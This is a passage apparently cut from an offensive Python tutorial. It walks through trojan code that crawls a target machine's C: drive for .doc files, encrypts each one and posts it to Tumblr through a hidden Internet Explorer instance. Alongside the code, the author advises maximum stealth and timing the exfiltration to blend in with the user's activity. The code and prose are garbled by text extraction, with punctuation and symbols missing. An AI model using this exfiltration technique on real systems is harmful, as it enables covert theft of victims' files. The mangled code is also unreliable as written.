instance of the browser and the encrypted filename and file contents to post one little trick (learned by observing in chrome developer toolsis that we have to shift focus away from the main content part of the post so that tumblr' javascript enables the post button these subtle little tricks are important to jot down as you apply this technique to other sites now that we can log in and post to tumblrlet' put the finishing touches in place for our script def exfiltrate(document_path)ie win com client dispatch("internetexplorer application"ie visible head to tumblr and login ie navigate("wait_for_browser(ieprint "logging in login_to_tumblr(ieprint "logged in navigatingie navigate("wait_for_browser(ieencrypt the file title,body encrypt_post(document_pathprint "creating new post post_to_tumblr(ie,title,bodyprint "posted!destroy the ie instance ie quit(ie none return main loop for document discovery noteno tab for first line of code below for parentdirectoriesfilenames in os walk(" :\\")for filename in fnmatch filter(filenames,"*%sdoc_type)document_path os path join(parent,filenameprint "found%sdocument_path exfiltrate(document_pathraw_input("continue?"our exfiltrate function is what we will call for every document that we want to store on tumblr it first creates new instance of the internet explorer com object -and the neat thing is that you can set the process to be visible or not for debuggingleave it set to but for maximum stealth you definitely want to set it to this is really useful iffor exampleyour trojan detects other activity going onin that caseyou can start exfiltrating documentswhich might help to further blend your activities in with that of the user after we call all of our helper functionswe simply kill our ie instance and return the last bit of our script is responsible for crawling through the :drive on the target system and attempting to match our preset file extension doc in this caseeach time file is foundwe simply pass the full path of the file off to our exfiltrate function now that we have our main code ready to gowe need to create quick and dirty rsa key generation scriptas well as decryption script that we can use to paste in chunk of encrypted tumblr text and retrieve the plaintext let' start by opening keygen py and entering the following codefrom crypto publickey import rsa new_key rsa generate( =